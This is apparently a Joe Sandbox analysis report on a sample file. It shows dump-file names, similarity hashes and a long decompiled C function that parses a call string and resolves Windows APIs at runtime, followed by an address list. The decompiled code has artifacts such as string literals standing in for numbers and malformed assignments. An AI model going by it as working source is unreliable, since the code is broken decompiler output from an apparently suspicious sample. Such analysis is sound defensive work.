Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: PB
API String ID: 590372296-3196168531
Opcode ID: e3e1314e2f632bc1590da93a929d1da6fbcd85f312bbe670bcd19e7f6abfab4b
Instruction ID: 9c2a32fab53b6b0d4bb0e075a5e6b47c54eb8059f7c6cc06f8c9c6988e8d3156
Opcode Fuzzy Hash: e3e1314e2f632bc1590da93a929d1da6fbcd85f312bbe670bcd19e7f6abfab4b
Instruction Fuzzy Hash: 42A16C71A00608BFDB119FA0DE85AAE7BB9FB48354F40403AFA44B61A0CB794E51DF58

Uniqueness

Uniqueness Score: -1.00%

Function 6F621A98 Relevance: 20.1, APIs: 13, Instructions: 591
stringlibrarymemoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 95%

			E6F621A98() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				CHAR* _v24;
				CHAR* _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				CHAR* _v48;
				signed int _v52;
				void* _v56;
				intOrPtr _v60;
				CHAR* _t207;
				signed int _t210;
				void* _t212;
				void* _t214;
				CHAR* _t216;
				void* _t224;
				struct HINSTANCE__* _t225;
				struct HINSTANCE__* _t226;
				struct HINSTANCE__* _t228;
				signed short _t230;
				struct HINSTANCE__* _t233;
				struct HINSTANCE__* _t235;
				void* _t236;
				char* _t237;
				void* _t248;
				signed char _t249;
				signed int _t250;
				void* _t254;
				struct HINSTANCE__* _t256;
				void* _t257;
				signed int _t259;
				intOrPtr _t260;
				char* _t263;
				signed int _t268;
				signed int _t271;
				signed int _t273;
				void* _t276;
				void* _t280;
				struct HINSTANCE__* _t282;
				intOrPtr _t285;
				void _t286;
				signed int _t287;
				signed int _t299;
				signed int _t300;
				intOrPtr _t303;
				void* _t304;
				signed int _t308;
				signed int _t311;
				signed int _t314;
				signed int _t315;
				signed int _t316;
				intOrPtr _t319;
				intOrPtr* _t320;
				CHAR* _t321;
				CHAR* _t323;
				CHAR* _t324;
				struct HINSTANCE__* _t325;
				void* _t327;
				signed int _t328;
				void* _t329;

				_t282 = 0;
				_v32 = 0;
				_v36 = 0;
				_v16 = 0;
				_v8 = 0;
				_v40 = 0;
				_t329 = 0;
				_v52 = 0;
				_v44 = 0;
				_t207 = E6F621215();
				_v24 = _t207;
				_v28 = _t207;
				_v48 = E6F621215();
				_t320 = E6F62123B();
				_v56 = _t320;
				_v12 = _t320;
				while(1) {
					_t210 = _v32;
					_v60 = _t210;
					if(_t210 != _t282 && _t329 == _t282) {
						break;
					}
					_t319 =  *_t320;
					_t285 = _t319;
					_t212 = _t285 - _t282;
					if(_t212 == 0) {
						_t37 =  &_v32;
						 *_t37 = _v32 | 0xffffffff;
						__eflags =  *_t37;
						L20:
						_t214 = _v60 - _t282;
						if(_t214 == 0) {
							 *_v28 =  *_v28 & 0x00000000;
							__eflags = _t329 - _t282;
							if(_t329 == _t282) {
								_t254 = GlobalAlloc("true", 0x14a4); // executed
								_t329 = _t254;
								 *(_t329 + 0x810) = _t282;
								 *(_t329 + 0x814) = _t282;
							}
							_t286 = _v36;
							_t216 = _t329 + 8;
							_t48 = _t329 + 0x408; // 0x408
							_t321 = _t48;
							 *_t329 = _t286;
							 *_t216 =  *_t216 & 0x00000000;
							 *(_t329 + 0x808) = _t282;
							 *_t321 =  *_t321 & 0x00000000;
							_t287 = _t286 - _t282;
							__eflags = _t287;
							 *(_t329 + 0x80c) = _t282;
							 *(_t329 + 4) = _t282;
							if(_t287 == 0) {
								__eflags = _v28 - _v24;
								if(_v28 == _v24) {
									goto L42;
								}
								_t327 = 0;
								GlobalFree(_t329);
								_t329 = E6F6212FE(_v24);
								__eflags = _t329 - _t282;
								if(_t329 == _t282) {
									goto L42;
								} else {
									goto L35;
								}
								while(1) {
									L35:
									_t248 =  *(_t329 + 0x14a0);
									__eflags = _t248 - _t282;
									if(_t248 == _t282) {
										break;
									}
									_t327 = _t329;
									_t329 = _t248;
									__eflags = _t329 - _t282;
									if(_t329 != _t282) {
										continue;
									}
									break;
								}
								__eflags = _t327 - _t282;
								if(_t327 != _t282) {
									 *(_t327 + 0x14a0) = _t282;
								}
								_t249 =  *(_t329 + 0x810);
								__eflags = _t249 & 0x00000008;
								if((_t249 & 0x00000008) == 0) {
									_t250 = _t249 | 0x00000002;
									__eflags = _t250;
									 *(_t329 + 0x810) = _t250;
								} else {
									_t329 = E6F621534(_t329);
									 *(_t329 + 0x810) =  *(_t329 + 0x810) & 0xfffffff5;
								}
								goto L42;
							} else {
								_t299 = _t287 - 1;
								__eflags = _t299;
								if(_t299 == 0) {
									L31:
									lstrcpyA(_t216, _v48);
									L32:
									lstrcpyA(_t321, _v24);
									goto L42;
								}
								_t300 = _t299 - 1;
								__eflags = _t300;
								if(_t300 == 0) {
									goto L32;
								}
								__eflags = _t300 != 1;
								if(_t300 != 1) {
									goto L42;
								}
								goto L31;
							}
						} else {
							if(_t214 == 1) {
								_t256 = _v16;
								if(_v40 == _t282) {
									_t256 = _t256 - 1;
								}
								 *(_t329 + 0x814) = _t256;
							}
							L42:
							_v12 = _v12 + 1;
							_v28 = _v24;
							L59:
							if(_v32 != 0xffffffff) {
								_t320 = _v12;
								continue;
							}
							break;
						}
					}
					_t257 = _t212 - 0x23;
					if(_t257 == 0) {
						__eflags = _t320 - _v56;
						if(_t320 <= _v56) {
							L17:
							__eflags = _v44 - _t282;
							if(_v44 != _t282) {
								L43:
								_t259 = _v32 - _t282;
								__eflags = _t259;
								if(_t259 == 0) {
									_t260 = _t319;
									while(1) {
										__eflags = _t260 - 0x22;
										if(_t260 != 0x22) {
											break;
										}
										_t320 = _t320 + 1;
										__eflags = _v44 - _t282;
										_v12 = _t320;
										if(_v44 == _t282) {
											_v44 = 1;
											L162:
											_v28 =  &(_v28[1]);
											 *_v28 =  *_t320;
											L58:
											_t328 = _t320 + 1;
											__eflags = _t328;
											_v12 = _t328;
											goto L59;
										}
										_t260 =  *_t320;
										_v44 = _t282;
									}
									__eflags = _t260 - 0x2a;
									if(_t260 == 0x2a) {
										_v36 = 2;
										L57:
										_t320 = _v12;
										_v28 = _v24;
										_t282 = 0;
										__eflags = 0;
										goto L58;
									}
									__eflags = _t260 - 0x2d;
									if(_t260 == 0x2d) {
										L151:
										_t303 =  *_t320;
										__eflags = _t303 - 0x2d;
										if(_t303 != 0x2d) {
											L154:
											_t263 = _t320 + 1;
											__eflags =  *_t263 - 0x3a;
											if( *_t263 != 0x3a) {
												goto L162;
											}
											__eflags = _t303 - 0x2d;
											if(_t303 == 0x2d) {
												goto L162;
											}
											_v36 = 1;
											L157:
											_v12 = _t263;
											__eflags = _v28 - _v24;
											if(_v28 <= _v24) {
												 *_v48 =  *_v48 & 0x00000000;
											} else {
												 *_v28 =  *_v28 & 0x00000000;
												lstrcpyA(_v48, _v24);
											}
											goto L57;
										}
										_t263 = _t320 + 1;
										__eflags =  *_t263 - 0x3e;
										if( *_t263 != 0x3e) {
											goto L154;
										}
										_v36 = 3;
										goto L157;
									}
									__eflags = _t260 - 0x3a;
									if(_t260 != 0x3a) {
										goto L162;
									}
									goto L151;
								}
								_t268 = _t259 - 1;
								__eflags = _t268;
								if(_t268 == 0) {
									L80:
									_t304 = _t285 + 0xffffffde;
									__eflags = _t304 - 0x55;
									if(_t304 > 0x55) {
										goto L57;
									}
									switch( *((intOrPtr*)(( *(_t304 + 0x6f622259) & 0x000000ff) * 4 +  &M6F6221CD))) {
										case 0:
											__eax = _v24;
											__edi = _v12;
											while(1) {
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												L131:
												__eflags =  *(__edi + 1) - __dl;
												if( *(__edi + 1) != __dl) {
													L136:
													 *__eax =  *__eax & 0x00000000;
													__eax = E6F621224(_v24);
													__ebx = __eax;
													goto L97;
												}
												L132:
												__eflags = __cl;
												if(__cl == 0) {
													goto L136;
												}
												__eflags = __cl - __dl;
												if(__cl == __dl) {
													__edi = __edi + 1;
													__eflags = __edi;
												}
												__cl =  *__edi;
												 *__eax =  *__edi;
												__eax = __eax + 1;
												__edi = __edi + 1;
												_v12 = __edi;
												__cl =  *__edi;
												__eflags = __cl - __dl;
												if(__cl != __dl) {
													goto L132;
												}
												goto L131;
											}
										case 1:
											_v8 = 1;
											goto L57;
										case 2:
											_v8 = _v8 | 0xffffffff;
											goto L57;
										case 3:
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v16 = _v16 + 1;
											goto L85;
										case 4:
											__eflags = _v20;
											if(_v20 != 0) {
												goto L57;
											}
											_v12 = _v12 - 1;
											__ebx = E6F621215();
											 &_v12 = E6F621A36( &_v12);
											__eax = E6F621429(__edx, __eax, __edx, __ebx);
											goto L97;
										case 5:
											L105:
											_v20 = _v20 + 1;
											goto L57;
										case 6:
											_push(7);
											goto L123;
										case 7:
											_push(0x19);
											goto L143;
										case 8:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L107;
										case 9:
											_push(0x15);
											goto L143;
										case 0xa:
											_push(0x16);
											goto L143;
										case 0xb:
											_push("true");
											goto L143;
										case 0xc:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L118;
										case 0xd:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L109;
										case 0xe:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L111;
										case 0xf:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L122;
										case 0x10:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L113;
										case 0x11:
											_push(3);
											goto L123;
										case 0x12:
											_push(0x17);
											L143:
											_pop(__ebx);
											goto L98;
										case 0x13:
											__eax =  &_v12;
											__eax = E6F621A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											__eflags = __ebx - 0xb;
											if(__ebx < 0xb) {
												__ebx = __ebx + 0xa;
											}
											goto L97;
										case 0x14:
											__ebx = 0xffffffff;
											goto L98;
										case 0x15:
											__eax = 0;
											__eflags = 0;
											goto L116;
										case 0x16:
											__ecx = 0;
											__eflags = 0;
											goto L91;
										case 0x17:
											__eax = 0;
											__eax = 1;
											__eflags = 1;
											goto L120;
										case 0x18:
											_t270 =  *(_t329 + 0x814);
											__eflags = _t270 - _v16;
											if(_t270 > _v16) {
												_v16 = _t270;
											}
											_v8 = _v8 & 0x00000000;
											_v20 = _v20 & 0x00000000;
											_v36 - 3 = _t270 - (_v36 == 3);
											if(_t270 != _v36 == 3) {
												L85:
												_v40 = 1;
											}
											goto L57;
										case 0x19:
											L107:
											__ecx = 0;
											_v8 = 2;
											__ecx = 1;
											goto L91;
										case 0x1a:
											L118:
											_push(5);
											goto L123;
										case 0x1b:
											L109:
											__ecx = 0;
											_v8 = 3;
											__ecx = 1;
											goto L91;
										case 0x1c:
											L111:
											__ecx = 0;
											__ecx = 1;
											goto L91;
										case 0x1d:
											L122:
											_push(6);
											goto L123;
										case 0x1e:
											L113:
											_push(2);
											goto L123;
										case 0x1f:
											__eax =  &_v12;
											__eax = E6F621A36( &_v12);
											__ebx = __eax;
											__ebx = __eax + 1;
											goto L97;
										case 0x20:
											L116:
											_v52 = _v52 + 1;
											_push(3);
											_pop(__ecx);
											goto L91;
										case 0x21:
											L120:
											_push("true");
											L123:
											_pop(__ecx);
											L91:
											__edi = _v16;
											__edx =  *(0x6f62305c + __ecx * 4);
											__eax =  ~__eax;
											asm("sbb eax, eax");
											_v40 = 1;
											__edi = _v16 << 5;
											__eax = __eax & 0x00008000;
											__edi = (_v16 << 5) + __esi;
											__eax = __eax | __ecx;
											__eflags = _v8;
											 *(__edi + 0x818) = __eax;
											if(_v8 < 0) {
												L93:
												__edx = 0;
												__edx = 1;
												__eflags = 1;
												L94:
												__eflags = _v8 - 1;
												 *(__edi + 0x828) = __edx;
												if(_v8 == 1) {
													__eax =  &_v12;
													__eax = E6F621A36( &_v12);
													__eax = __eax + 1;
													__eflags = __eax;
													_v8 = __eax;
												}
												__eax = _v8;
												 *((intOrPtr*)(__edi + 0x81c)) = _v8;
												_t136 = _v16 + 0x41; // 0x41
												_t136 = _t136 << 5;
												__eax = 0;
												__eflags = 0;
												 *((intOrPtr*)((_t136 << 5) + __esi)) = 0;
												 *((intOrPtr*)(__edi + 0x830)) = 0;
												 *((intOrPtr*)(__edi + 0x82c)) = 0;
												L97:
												__eflags = __ebx;
												if(__ebx == 0) {
													goto L57;
												}
												L98:
												__eflags = _v20;
												_v40 = 1;
												if(_v20 != 0) {
													L103:
													__eflags = _v20 - 1;
													if(_v20 == 1) {
														__eax = _v16;
														__eax = _v16 << 5;
														__eflags = __eax;
														 *(__eax + __esi + 0x82c) = __ebx;
													}
													goto L105;
												}
												_v16 = _v16 << 5;
												_t144 = __esi + 0x830; // 0x830
												__edi = (_v16 << 5) + _t144;
												__eax =  *__edi;
												__eflags = __eax - 0xffffffff;
												if(__eax <= 0xffffffff) {
													L101:
													__eax = GlobalFree(__eax);
													L102:
													 *__edi = __ebx;
													goto L103;
												}
												__eflags = __eax - 0x19;
												if(__eax <= 0x19) {
													goto L102;
												}
												goto L101;
											}
											__eflags = __edx;
											if(__edx > 0) {
												goto L94;
											}
											goto L93;
										case 0x22:
											goto L57;
									}
								}
								_t271 = _t268 - 1;
								__eflags = _t271;
								if(_t271 == 0) {
									_v16 = _t282;
									goto L80;
								}
								__eflags = _t271 != 1;
								if(_t271 != 1) {
									goto L162;
								}
								__eflags = _t285 - 0x6e;
								if(__eflags > 0) {
									_t308 = _t285 - 0x72;
									__eflags = _t308;
									if(_t308 == 0) {
										_push("true");
										L74:
										_pop(_t273);
										L75:
										__eflags = _v8 - 1;
										if(_v8 != 1) {
											_t96 = _t329 + 0x810;
											 *_t96 =  *(_t329 + 0x810) &  !_t273;
											__eflags =  *_t96;
										} else {
											 *(_t329 + 0x810) =  *(_t329 + 0x810) | _t273;
										}
										_v8 = 1;
										goto L57;
									}
									_t311 = _t308 - 1;
									__eflags = _t311;
									if(_t311 == 0) {
										_push("true");
										goto L74;
									}
									__eflags = _t311 != 0;
									if(_t311 != 0) {
										goto L57;
									}
									_push("true");
									goto L74;
								}
								if(__eflags == 0) {
									_push("true");
									goto L74;
								}
								_t314 = _t285 - 0x21;
								__eflags = _t314;
								if(_t314 == 0) {
									_v8 =  ~_v8;
									goto L57;
								}
								_t315 = _t314 - 0x11;
								__eflags = _t315;
								if(_t315 == 0) {
									_t273 = 0x100;
									goto L75;
								}
								_t316 = _t315 - 0x31;
								__eflags = _t316;
								if(_t316 == 0) {
									_t273 = 1;
									goto L75;
								}
								__eflags = _t316 != 0;
								if(_t316 != 0) {
									goto L57;
								}
								_push("true");
								goto L74;
							} else {
								_v32 = _t282;
								_v36 = _t282;
								goto L20;
							}
						}
						__eflags =  *((char*)(_t320 - 1)) - 0x3a;
						if( *((char*)(_t320 - 1)) != 0x3a) {
							goto L17;
						}
						__eflags = _v32 - _t282;
						if(_v32 == _t282) {
							goto L43;
						}
						goto L17;
					}
					_t276 = _t257 - 5;
					if(_t276 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							__eflags = _v36 - 3;
							_v32 = 1;
							_v8 = _t282;
							_v20 = _t282;
							_v16 = (0 | _v36 == 0x00000003) + 1;
							_v40 = _t282;
							goto L20;
						}
					}
					_t280 = _t276 - 1;
					if(_t280 == 0) {
						__eflags = _v44 - _t282;
						if(_v44 != _t282) {
							goto L43;
						} else {
							_v32 = 2;
							_v8 = _t282;
							_v20 = _t282;
							goto L20;
						}
					}
					if(_t280 != 0x16) {
						goto L43;
					} else {
						_v32 = 3;
						_v8 = 1;
						goto L20;
					}
				}
				GlobalFree(_v56);
				GlobalFree(_v24);
				GlobalFree(_v48);
				if(_t329 == _t282 ||  *(_t329 + 0x80c) != _t282) {
					L182:
					return _t329;
				} else {
					_t224 =  *_t329 - 1;
					if(_t224 == 0) {
						_t323 = _t329 + 8;
						__eflags =  *_t323;
						if( *_t323 != 0) {
							_t225 = GetModuleHandleA(_t323);
							__eflags = _t225 - _t282;
							 *(_t329 + 0x808) = _t225;
							if(_t225 != _t282) {
								L171:
								_t192 = _t329 + 0x408; // 0x408
								_t324 = _t192;
								_t226 = E6F6215C2( *(_t329 + 0x808), _t324);
								__eflags = _t226 - _t282;
								 *(_t329 + 0x80c) = _t226;
								if(_t226 == _t282) {
									__eflags =  *_t324 - 0x23;
									if( *_t324 == 0x23) {
										_t195 = _t329 + 0x409; // 0x409
										_t230 = E6F6212FE(_t195);
										__eflags = _t230 - _t282;
										if(_t230 != _t282) {
											__eflags = _t230 & 0xffff0000;
											if((_t230 & 0xffff0000) == 0) {
												 *(_t329 + 0x80c) = GetProcAddress( *(_t329 + 0x808), _t230 & 0x0000ffff);
											}
										}
									}
								}
								__eflags = _v52 - _t282;
								if(_v52 != _t282) {
									L178:
									_t324[lstrlenA(_t324)] = 0x41;
									_t228 = E6F6215C2( *(_t329 + 0x808), _t324);
									__eflags = _t228 - _t282;
									if(_t228 != _t282) {
										L166:
										 *(_t329 + 0x80c) = _t228;
										goto L182;
									}
									__eflags =  *(_t329 + 0x80c) - _t282;
									L180:
									if(__eflags != 0) {
										goto L182;
									}
									L181:
									_t205 = _t329 + 4;
									 *_t205 =  *(_t329 + 4) | 0xffffffff;
									__eflags =  *_t205;
									goto L182;
								} else {
									__eflags =  *(_t329 + 0x80c) - _t282;
									if( *(_t329 + 0x80c) != _t282) {
										goto L182;
									}
									goto L178;
								}
							}
							_t233 = LoadLibraryA(_t323); // executed
							__eflags = _t233 - _t282;
							 *(_t329 + 0x808) = _t233;
							if(_t233 == _t282) {
								goto L181;
							}
							goto L171;
						}
						_t188 = _t329 + 0x408; // 0x408
						_t235 = E6F6212FE(_t188);
						 *(_t329 + 0x80c) = _t235;
						__eflags = _t235 - _t282;
						goto L180;
					}
					_t236 = _t224 - 1;
					if(_t236 == 0) {
						_t185 = _t329 + 0x408; // 0x408
						_t237 = _t185;
						__eflags =  *_t237;
						if( *_t237 == 0) {
							goto L182;
						}
						_t228 = E6F6212FE(_t237);
						L165:
						goto L166;
					}
					if(_t236 != 1) {
						goto L182;
					}
					_t283 = _t329 + 8;
					_t325 = E6F6212FE(_t329 + 8);
					 *(_t329 + 0x808) = _t325;
					if(_t325 == 0) {
						goto L181;
					}
					 *(_t329 + 0x84c) =  *(_t329 + 0x84c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x850)) = E6F621224(_t283);
					 *(_t329 + 0x83c) =  *(_t329 + 0x83c) & 0x00000000;
					 *((intOrPtr*)(_t329 + 0x848)) = 1;
					 *((intOrPtr*)(_t329 + 0x838)) = 1;
					_t90 = _t329 + 0x408; // 0x408
					_t228 =  *(_t325->i + E6F6212FE(_t90) * 4);
					goto L165;
				}
			}

0x6f621aa0
0x6f621aa3
0x6f621aa6
0x6f621aa9
0x6f621aac
0x6f621aaf
0x6f621ab2
0x6f621ab4
0x6f621ab7
0x6f621aba
0x6f621abf
0x6f621ac2
0x6f621aca
0x6f621ad2
0x6f621ad4
0x6f621ad7
0x6f621adf
0x6f621adf
0x6f621ae4
0x6f621ae7
0x00000000
0x00000000
0x6f621af1
0x6f621af3
0x6f621af8
0x6f621afa
0x6f621b8b
0x6f621b8b
0x6f621b8b
0x6f621b8f
0x6f621b92
0x6f621b94
0x6f621bb6
0x6f621bb9
0x6f621bbb
0x6f621bc4
0x6f621bca
0x6f621bcc
0x6f621bd2
0x6f621bd2
0x6f621bd8
0x6f621bdb
0x6f621bde
0x6f621bde
0x6f621be4
0x6f621be6
0x6f621be9
0x6f621bef
0x6f621bf2
0x6f621bf2
0x6f621bf4
0x6f621bfa
0x6f621bfd
0x6f621c21
0x6f621c24
0x00000000
0x00000000
0x6f621c27
0x6f621c29
0x6f621c37
0x6f621c3a
0x6f621c3c
0x00000000
0x00000000
0x00000000
0x00000000
0x6f621c3e
0x6f621c3e
0x6f621c3e
0x6f621c44
0x6f621c46
0x00000000
0x00000000
0x6f621c48
0x6f621c4a
0x6f621c4c
0x6f621c4e
0x00000000
0x00000000
0x00000000
0x6f621c4e
0x6f621c50
0x6f621c52
0x6f621c54
0x6f621c54
0x6f621c5a
0x6f621c60
0x6f621c62
0x6f621c76
0x6f621c76
0x6f621c78
0x6f621c64
0x6f621c6a
0x6f621c6d
0x6f621c6d
0x00000000
0x6f621bff
0x6f621bff
0x6f621bff
0x6f621c00
0x6f621c08
0x6f621c0c
0x6f621c12
0x6f621c16
0x00000000
0x6f621c16
0x6f621c02
0x6f621c02
0x6f621c03
0x00000000
0x00000000
0x6f621c05
0x6f621c06
0x00000000
0x00000000
0x00000000
0x6f621c06
0x6f621b96
0x6f621b97
0x6f621ba0
0x6f621ba3
0x6f621bb0
0x6f621bb0
0x6f621ba5
0x6f621ba5
0x6f621c7e
0x6f621c81
0x6f621c84
0x6f621cf6
0x6f621cfa
0x6f621adc
0x00000000
0x6f621adc
0x00000000
0x6f621cfa
0x6f621b94
0x6f621b00
0x6f621b03
0x6f621b66
0x6f621b69
0x6f621b7a
0x6f621b7a
0x6f621b7d
0x6f621c89
0x6f621c8c
0x6f621c8c
0x6f621c8e
0x6f622033
0x6f622045
0x6f622045
0x6f622047
0x00000000
0x00000000
0x6f622037
0x6f622038
0x6f62203b
0x6f62203e
0x6f6220ba
0x6f6220c1
0x6f6220c6
0x6f6220c9
0x6f621cf2
0x6f621cf2
0x6f621cf2
0x6f621cf3
0x00000000
0x6f621cf3
0x6f622040
0x6f622042
0x6f622042
0x6f622049
0x6f62204b
0x6f6220ae
0x6f621ce7
0x6f621cea
0x6f621ced
0x6f621cf0
0x6f621cf0
0x00000000
0x6f621cf0
0x6f62204d
0x6f62204f
0x6f622055
0x6f622055
0x6f622057
0x6f62205a
0x6f62206d
0x6f62206d
0x6f622070
0x6f622073
0x00000000
0x00000000
0x6f622075
0x6f622078
0x00000000
0x00000000
0x6f62207a
0x6f622081
0x6f622081
0x6f622087
0x6f62208a
0x6f6220a6
0x6f62208c
0x6f622095
0x6f622098
0x6f622098
0x00000000
0x6f62208a
0x6f62205c
0x6f62205f
0x6f622062
0x00000000
0x00000000
0x6f622064
0x00000000
0x6f622064
0x6f622051
0x6f622053
0x00000000
0x00000000
0x00000000
0x6f622053
0x6f621c94
0x6f621c94
0x6f621c95
0x6f621dde
0x6f621dde
0x6f621de5
0x6f621de8
0x00000000
0x00000000
0x6f621df5
0x00000000
0x6f621fdb
0x6f621fde
0x6f621fe1
0x6f621fe1
0x6f621fe2
0x6f621fe5
0x6f621fe7
0x6f621fe9
0x00000000
0x00000000
0x6f621feb
0x6f621feb
0x6f621fee
0x6f622000
0x6f622003
0x6f622006
0x6f62200c
0x00000000
0x6f62200c
0x6f621ff0
0x6f621ff0
0x6f621ff2
0x00000000
0x00000000
0x6f621ff4
0x6f621ff6
0x6f621ff8
0x6f621ff8
0x6f621ff8
0x6f621ff9
0x6f621ffb
0x6f621ffd
0x6f621fe1
0x6f621fe2
0x6f621fe5
0x6f621fe7
0x6f621fe9
0x00000000
0x00000000
0x00000000
0x6f621fe9
0x00000000
0x6f621e3c
0x00000000
0x00000000
0x6f621e48
0x00000000
0x00000000
0x6f621e2f
0x6f621e33
0x6f621e37
0x00000000
0x00000000
0x6f621fad
0x6f621fb1
0x00000000
0x00000000
0x6f621fb7
0x6f621fbf
0x6f621fc6
0x6f621fce
0x00000000
0x00000000
0x6f621f15
0x6f621f15
0x00000000
0x00000000
0x6f621e51
0x00000000
0x00000000
0x6f62202b
0x00000000
0x00000000
0x6f621f1d
0x6f621f1f
0x6f621f1f
0x00000000
0x00000000
0x6f62201b
0x00000000
0x00000000
0x6f62201f
0x00000000
0x00000000
0x6f622027
0x00000000
0x00000000
0x6f621f64
0x6f621f66
0x6f621f66
0x00000000
0x00000000
0x6f621f2f
0x6f621f31
0x6f621f31
0x00000000
0x00000000
0x6f621f41
0x6f621f43
0x6f621f43
0x00000000
0x00000000
0x6f621f72
0x6f621f74
0x6f621f74
0x00000000
0x00000000
0x6f621f4c
0x6f621f4e
0x6f621f4e
0x00000000
0x00000000
0x6f621f53
0x00000000
0x00000000
0x6f622023
0x6f62202d
0x6f62202d
0x00000000
0x00000000
0x6f621f7d
0x6f621f81
0x6f621f86
0x6f621f89
0x6f621f8a
0x6f621f8d
0x6f621f93
0x6f621f93
0x00000000
0x00000000
0x6f622013
0x00000000
0x00000000
0x6f621f57
0x6f621f57
0x00000000
0x00000000
0x6f621e58
0x6f621e58
0x00000000
0x00000000
0x6f621f6b
0x6f621f6d
0x6f621f6d
0x00000000
0x00000000
0x6f621dfc
0x6f621e02
0x6f621e05
0x6f621e07
0x6f621e07
0x6f621e0a
0x6f621e0e
0x6f621e1b
0x6f621e1d
0x6f621e23
0x6f621e23
0x6f621e23
0x00000000
0x00000000
0x6f621f20
0x6f621f20
0x6f621f22
0x6f621f29
0x00000000
0x00000000
0x6f621f67
0x6f621f67
0x00000000
0x00000000
0x6f621f32
0x6f621f32
0x6f621f34
0x6f621f3b
0x00000000
0x00000000
0x6f621f44
0x6f621f44
0x6f621f46
0x00000000
0x00000000
0x6f621f75
0x6f621f75
0x00000000
0x00000000
0x6f621f4f
0x6f621f4f
0x00000000
0x00000000
0x6f621f9b
0x6f621f9f
0x6f621fa4
0x6f621fa7
0x00000000
0x00000000
0x6f621f59
0x6f621f59
0x6f621f5c
0x6f621f5e
0x00000000
0x00000000
0x6f621f6e
0x6f621f6e
0x6f621f77
0x6f621f77
0x6f621e5a
0x6f621e5a
0x6f621e5d
0x6f621e64
0x6f621e66
0x6f621e68
0x6f621e6f
0x6f621e72
0x6f621e77
0x6f621e79
0x6f621e7b
0x6f621e7f
0x6f621e85
0x6f621e8b
0x6f621e8b
0x6f621e8d
0x6f621e8d
0x6f621e8e
0x6f621e8e
0x6f621e92
0x6f621e98
0x6f621e9a
0x6f621e9e
0x6f621ea3
0x6f621ea3
0x6f621ea5
0x6f621ea5
0x6f621ea8
0x6f621eab
0x6f621eb4
0x6f621eb7
0x6f621eba
0x6f621eba
0x6f621ebc
0x6f621ebf
0x6f621ec5
0x6f621ecb
0x6f621ecb
0x6f621ecd
0x00000000
0x00000000
0x6f621ed3
0x6f621ed3
0x6f621ed7
0x6f621ede
0x6f621f02
0x6f621f02
0x6f621f06
0x6f621f08
0x6f621f0b
0x6f621f0b
0x6f621f0e
0x6f621f0e
0x00000000
0x6f621f06
0x6f621ee3
0x6f621ee6
0x6f621ee6
0x6f621eed
0x6f621eef
0x6f621ef2
0x6f621ef9
0x6f621efa
0x6f621f00
0x6f621f00
0x00000000
0x6f621f00
0x6f621ef4
0x6f621ef7
0x00000000
0x00000000
0x00000000
0x6f621ef7
0x6f621e87
0x6f621e89
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6f621df5
0x6f621c9b
0x6f621c9b
0x6f621c9c
0x6f621ddb
0x00000000
0x6f621ddb
0x6f621ca2
0x6f621ca3
0x00000000
0x00000000
0x6f621ca9
0x6f621cac
0x6f621da0
0x6f621da0
0x6f621da3
0x6f621db8
0x6f621dba
0x6f621dba
0x6f621dbb
0x6f621dbe
0x6f621dc1
0x6f621dcd
0x6f621dcd
0x6f621dcd
0x6f621dc3
0x6f621dc3
0x6f621dc3
0x6f621dd3
0x00000000
0x6f621dd3
0x6f621da5
0x6f621da5
0x6f621da6
0x6f621db4
0x00000000
0x6f621db4
0x6f621da9
0x6f621daa
0x00000000
0x00000000
0x6f621db0
0x00000000
0x6f621db0
0x6f621cb2
0x6f621d9c
0x00000000
0x6f621d9c
0x6f621cb8
0x6f621cb8
0x6f621cbb
0x6f621ce4
0x00000000
0x6f621ce4
0x6f621cbd
0x6f621cbd
0x6f621cc0
0x6f621cda
0x00000000
0x6f621cda
0x6f621cc2
0x6f621cc2
0x6f621cc5
0x6f621cd4
0x00000000
0x6f621cd4
0x6f621cc8
0x6f621cc9
0x00000000
0x00000000
0x6f621ccb
0x00000000
0x6f621b83
0x6f621b83
0x6f621b86
0x00000000
0x6f621b86
0x6f621b7d
0x6f621b6b
0x6f621b6f
0x00000000
0x00000000
0x6f621b71
0x6f621b74
0x00000000
0x00000000
0x00000000
0x6f621b74
0x6f621b05
0x6f621b08
0x6f621b3e
0x6f621b41
0x00000000
0x6f621b47
0x6f621b49
0x6f621b4d
0x6f621b54
0x6f621b5b
0x6f621b5e
0x6f621b61
0x00000000
0x6f621b61
0x6f621b41
0x6f621b0a
0x6f621b0b
0x6f621b26
0x6f621b29
0x00000000
0x6f621b2f
0x6f621b2f
0x6f621b36
0x6f621b39
0x00000000
0x6f621b39
0x6f621b29
0x6f621b10
0x00000000
0x6f621b16
0x6f621b16
0x6f621b1d
0x00000000
0x6f621b1d
0x6f621b10
0x6f621d09
0x6f621d0e
0x6f621d13
0x6f621d17
0x6f6221c6
0x6f6221cc
0x6f621d29
0x6f621d2b
0x6f621d2c
0x6f6220f1
0x6f6220f4
0x6f6220f7
